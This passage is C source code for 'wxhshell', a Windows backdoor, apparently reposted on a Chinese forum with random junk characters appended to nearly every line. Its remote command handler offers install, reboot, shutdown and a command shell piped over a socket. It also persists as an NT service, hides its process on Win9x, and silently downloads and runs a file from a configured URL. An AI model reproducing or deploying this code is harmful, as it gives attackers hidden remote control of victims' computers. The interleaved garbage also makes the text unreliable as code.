    switch(cmd[0]) { 9OeY59 :  
  J 00%,Ju_  
  // 帮助 >;N0( xB  
  case '?': { 3le/(=&1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,!BiB*  
    break; h\k!X/  
  } GoI3hp(  
  // 安装 d~](S<k  
  case 'i': { ^FJ=/#@T  
    if(Install()) ;&Q8xC2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#/k5]g  
    else ]o <'T.x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :*aBiX"  
    break; N:j"W,8  
    } rzH*|B0g  
  // 卸载 5eI3a!E]O  
  case 'r': { e7f3dqn0  
    if(Uninstall()) E?o1&(2p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 28u)q2s^W|  
    else  A7*<,]qT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vd2bG4*=  
    break; fZ2>%IxG}  
    } P;D)5yP092  
  // 显示 wxhshell 所在路径 X'4g\)*  
  case 'p': { / c1=`OJ  
    char svExeFile[MAX_PATH]; 'k=GSb  
    strcpy(svExeFile,"\n\r"); A2{u("^[6  
      strcat(svExeFile,ExeFile); #>+O=YO  
        send(wsh,svExeFile,strlen(svExeFile),0); - Dm/7Sxd`  
    break; 7q>WO  
    } MS,J+'2  
  // 重启 kw8?:: <  
  case 'b': { 6b9 oSY-8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `+[e]dH  
    if(Boot(REBOOT)) -iu7/4!j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]de'v  
    else { #<V/lPz+  
    closesocket(wsh); c <8s \2  
    ExitThread(0); xEN""*Q  
    } &ah!g!o3  
    break; ;/$=!9^sZ  
    } UD|Qa  
  // 关机 q -%;~LF  
  case 'd': { HS"E3s8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d'~ kf#  
    if(Boot(SHUTDOWN)) Zgt:ZO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9(>]6|XS  
    else { ?mxBMtc  
    closesocket(wsh); +H5= zf2  
    ExitThread(0); ?\MvAG7Y  
    } xc.(-g[  
    break; V @A+d[  
    } \2(Uqf#_  
  // 获取shell (9r\YNK  
  case 's': { "oZ-W?IKE  
    CmdShell(wsh); 6-U+<[,x  
    closesocket(wsh); \F;V69'  
    ExitThread(0); ,bhOIuep3  
    break; fZK&h.  
  } ezRhSN?  
  // 退出  -1Acprr  
  case 'x': { pi)7R:i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w%jc' ;|  
    CloseIt(wsh); .i[rd4MCK  
    break; Ek|#P{!  
    } >p4#AfGF  
  // 离开 x8I=I"Sp  
  case 'q': { 4LqJ4jo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?-CZJr  
    closesocket(wsh); ',L>UIXw  
    WSACleanup(); 0 e 1W&  
    exit(1); SoZ$1$o2  
    break; Mg? ^5`*  
        } cn&\q.!fh  
  }  ]~g6#@l  
  } J%d\ 7  
m\>531&  
  // 提示信息 U)~?/s{v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zPWX%1Qr  
} C$o#zu q -  
  } ydo"H9NOS  
\ IJ\  
  return; u_[^gS7  
} /QDlm>FM4  
W99MA5P  
// shell模块句柄 G8%Q$  
int CmdShell(SOCKET sock) H)&6I33`  
{ %a%x`S3  
STARTUPINFO si; '\qd{mM\r  
ZeroMemory(&si,sizeof(si)); !=j\pu} Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dI'cZt~n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l:v:f@M&  
PROCESS_INFORMATION ProcessInfo; G}1?lO_d`  
char cmdline[]="cmd"; [ t@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~^*IP1.3  
  return 0; OQ&?^S`8',  
} fC>3{@h}*  
<k)@PAV  
// 自身启动模式 / /63?s+  
int StartFromService(void) aa:Oh^AJy  
{ `2X~3im  
typedef struct c e`3&  
{ qMT7g LB'1  
  DWORD ExitStatus; RD_IGV   
  DWORD PebBaseAddress;  B9IqX  
  DWORD AffinityMask; E6(OEC%,  
  DWORD BasePriority; }t!,{ZryE1  
  ULONG UniqueProcessId; a nK7j2  
  ULONG InheritedFromUniqueProcessId; 44T>Yp09  
}   PROCESS_BASIC_INFORMATION; F3*]3,&L  
Q+(}nz4  
PROCNTQSIP NtQueryInformationProcess; 0{bGVLp  
ssVO+ T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qhlgu!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,L ;ueAo  
MQc|j'vEY  
  HANDLE             hProcess; fpbb <Ro  
  PROCESS_BASIC_INFORMATION pbi; '"C$E922  
Vy-N3L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iHy=92/Ww  
  if(NULL == hInst ) return 0; !~5;Jb>s[/  
=fmM=@!$<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -QR&]U+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Q985)Y&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U X)k;h  
%_xRS  
  if (!NtQueryInformationProcess) return 0; n(^{s5 Rr  
:G$f)NMK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =!{7ZSu\  
  if(!hProcess) return 0; FG.MV-G  
jt|e?1:vF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $_s"16s  
,-7w\%*  
  CloseHandle(hProcess); +Bk d  
C.I.f9s?R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JjarMJr| D  
if(hProcess==NULL) return 0; nb}*IExd  
p9w<|ZQ]:  
HMODULE hMod; llVm[7  
char procName[255]; E!.>*`)?.  
unsigned long cbNeeded; 3vx*gfr3  
^CZ!rOSv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (jYHaTL6Y'  
28 qTC?  
  CloseHandle(hProcess); @, v'V!  
(`+%K_  
if(strstr(procName,"services")) return 1; // 以服务启动 R2k R   
#({0HFSC:j  
  return 0; // 注册表启动 ZuIr=`"j  
} Vae}:8'}  
8>" vAEf  
// 主模块 X`kTbIZ|  
int StartWxhshell(LPSTR lpCmdLine) 3|4jS"t{f  
{ ta`}}I  
  SOCKET wsl; 0M^7#),  
BOOL val=TRUE; _[ml<HW]  
  int port=0; f0rM 4"1  
  struct sockaddr_in door; ^_FB .y%  
^|yw)N]Q/  
  if(wscfg.ws_autoins) Install(); ;Z]i$Vi_r  
TVVL1wZ  
port=atoi(lpCmdLine); 9\9:)q  
po@=$HK  
if(port<=0) port=wscfg.ws_port; tU2 8l.  
/wplP+w2  
  WSADATA data; 'TWZ@8h~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xa+=9=<AQ  
R;+vE'&CO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ??& Q"6Oe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KF^5 C  
  door.sin_family = AF_INET; Bw^*6P^l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $10"lM[  
  door.sin_port = htons(port); /VFh3n>I2  
o^P/ -&T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZmSe>}B=  
closesocket(wsl); G9'Wo.$ t  
return 1; /NvHM$5O%  
} X|!Vt O  
$ M?VJ\8  
  if(listen(wsl,2) == INVALID_SOCKET) { *o<zo `  
closesocket(wsl); wlc Cz  
return 1; gA 0:qEL\  
} w|$i<OIi)  
  Wxhshell(wsl); i("ok  
  WSACleanup(); 64]_o/u5W4  
F+yu[Dh:  
return 0; O$ dz=)  
VF8pH <  
} {%g]Ym=  
tkT:5O6  
// 以NT服务方式启动 zN2CI6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m x`QBJ  
{ $ ?ayE  
DWORD   status = 0; ?N*m2rv  
  DWORD   specificError = 0xfffffff; E= 3Ui  
-/ 5" Py  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l":\@rm`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qffVF|7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fmqHWu*wG  
  serviceStatus.dwWin32ExitCode     = 0; z%ZAN-  
  serviceStatus.dwServiceSpecificExitCode = 0; TmI~P+5w  
  serviceStatus.dwCheckPoint       = 0; \F`%vZrKR  
  serviceStatus.dwWaitHint       = 0; }HdibCAOf  
klkshlk d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zb> UY8  
  if (hServiceStatusHandle==0) return; SUv(MA&  
ft |W  
status = GetLastError(); alr'If@7  
  if (status!=NO_ERROR) .g Z1}2GF=  
{ )4h4ql W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mn5y]:;`  
    serviceStatus.dwCheckPoint       = 0; 0\W6X;?  
    serviceStatus.dwWaitHint       = 0; A7 U]wW9  
    serviceStatus.dwWin32ExitCode     = status; g!/O)X3  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ife/:v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >@Vap  
    return; =i'APeNaQ  
  } o$PY0~#  
Sfl. &A(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >;wh0dBe  
  serviceStatus.dwCheckPoint       = 0; o:oQF[TcFO  
  serviceStatus.dwWaitHint       = 0; SSCyq#dl$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c, IAz  
} [S Jx\Os  
X*'i1)_h  
// 处理NT服务事件,比如:启动、停止 10?+6*d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -jXO9Q  
{ Epo/}y  
switch(fdwControl) mKTE%lsH  
{ 3MqyHOOv  
case SERVICE_CONTROL_STOP: mbSG  
  serviceStatus.dwWin32ExitCode = 0; '!\t!@I$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \0)v5u  
  serviceStatus.dwCheckPoint   = 0; r Uau? ?  
  serviceStatus.dwWaitHint     = 0; x-E@[=  
  { 4$~A%JN3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d8N{sT  
  } TwdY6E3`  
  return; Hl"^E*9x  
case SERVICE_CONTROL_PAUSE: )4O>V?B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W}6OMAbsE;  
  break; (U`<r-n\n  
case SERVICE_CONTROL_CONTINUE: jWpm"C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vt4KG+zm  
  break; G;jX@XqZ  
case SERVICE_CONTROL_INTERROGATE: ;T-`~  
  break; A,PF#G(  
}; l%\p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  $I*<gn9  
} w20)~&LE-  
1n3XB+*  
// 标准应用程序主函数 g"}j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9-ei#|Vnt[  
{ V*d@@%u**  
nO#a|~-))  
// 获取操作系统版本 |K.J@zW  
OsIsNt=GetOsVer(); s~i 73Qk/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n{*A<-vL  
{JGXdp:SB  
  // 从命令行安装 jjJvyZi~J  
  if(strpbrk(lpCmdLine,"iI")) Install(); UlNx5l+k  
}.L:(z^L,Y  
  // 下载执行文件 m#Y[EPF=|  
if(wscfg.ws_downexe) { %4$J.6M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L9Z\|L5  
  WinExec(wscfg.ws_filenam,SW_HIDE); bJ!(co6t  
} &s0_^5B0  
H`T8ydNXa  
if(!OsIsNt) { qh~$AJ9sB  
// 如果时win9x,隐藏进程并且设置为注册表启动 +o3 ZQ9  
HideProc(); 9z'(4U  
StartWxhshell(lpCmdLine); '.gLqm}%  
} ?B{,%2+  
else yg WwUpY  
  if(StartFromService()) FlyRcj  
  // 以服务方式启动 z km#w  
  StartServiceCtrlDispatcher(DispatchTable); -`cNRd0n  
else Z,_EhEm  
  // 普通方式启动 Y 8Dn&W  
  StartWxhshell(lpCmdLine); 7W.z8>p  
]^>RBegJBO  
return 0; \Dx5=Lh  
}
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只看该作者 1 发表于: 2006-10-10
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